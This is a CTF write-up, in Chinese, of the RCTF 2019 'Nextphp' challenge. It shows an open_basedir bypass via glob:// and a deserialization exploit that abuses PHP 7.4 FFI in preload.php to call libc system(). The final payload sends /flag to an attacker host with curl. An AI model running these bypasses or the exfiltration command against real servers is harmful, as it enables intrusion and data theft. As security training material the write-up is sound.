[RCTF 2019]Nextphp
0x00 前言
PHP7.4从js中吸取很多啊哈哈哈,参考php7.4核心新特性,简述两个好玩的新特性
PHP7.4的新特性—FFI,它允许开发者在PHP脚本中调用C函数并使用C数据类型。官方称之为
develop “system code” more productively.
。有趣的是FFI无视 open_basedir 和 disable_functions 的限制,如果开发者没有很好控制权限,带来的结果会是很糟糕的__serialize()
和__unserialize()
替代了原来的__sleep()
和__wakeup()
,给用户更好的自定义特权,php将会优先调用新版本(反)序列化接口,传送门OPcache–缓存预加载特性;在php.ini中配置
opcache.preload = preload.php
来开启它;OPcache将预编译的脚本都放到共享内存中(已执行),省去每次请求都解析脚本的开销,提高处理性能;预加载的类和函数始终可用,并且 function_exists()或 class_exists()检查将返回 TRUE,从而阻止执行预期的代码路径。
0x01解题
跟着p0pl4r师傅的思路走了一波,写的很详细,学一手phpinfo的信息收集
顺便把师傅的php花式读文件给拿来了哈哈哈,传送门
开局给了很简单的代码
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
一通瞎写发现ban了很多函数,蚁剑也不能连接。show_source('/etc/passwd');
遇到open_basedir限制,用DirectoryIterator+glob://
绕过,查看目录下文件
pl:$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
发现flag在根目录,那就没办法读辣,由open_basedir限制,再看看本目录下文件,发现preload.php
奇怪的文件,show_source看看
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
应该是从反序列化入手了,但是由于open_basedir的限制,还是没办法直接读根目录下的flag。那就看看phpinfo,全局搜索disable_functions
、open_basedir
、.php | .bak | .xxx
等等
disable_functions:set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
disable_classes:ReflectionClass
open_basedir: /var/www/html
opcache.preload: /var/www/html/preload.php
opcache,这不就是PHP7.4的新特性嘛,rfc,请,全局搜索**dangerous/risk/warning/…**等字眼
再去phpinfo看看是否开启ffi
前面说了ffi无视 open_basedir 和 disable_functions,这么厉害的功能肯定有限制的,再去rfc扒扒
只能在预加载的php文件中使用ffi,FFI基本用法,生成FFI对象
<?php
// FFI examples
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);", // this is a regular C declaration
"libc.so.6");
// call C's printf()
$ffi->printf("Hello %s!\n", "world");
搜索C语言 system 声明:int system(const char *command)
改写样例
<?php
$ffi = FFI::cdef(
"int system(const char *command);",
"libc.so.6");
$ffi->system('ls');
但是在preload.php中只有arg一个参数,怎么办?在FFI函数介绍的lib参数中有这么一句话:If
libis omitted, platforms supporting
RTLD_DEFAULTattempt to lookup symbols declared in
code in the normal global scope. Other systems will fail to resolve these symbols.
,这就帮了一个我们大忙,省略第二个lib参数php会在全局范围寻找可用函数
exp:
<?php
# @Author: yq1ng
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char *command);'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
}
echo(serialize(new A));
最后使用?a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->ret->system('curl -d `cat /flag` http://ip:2333');
即可接收flag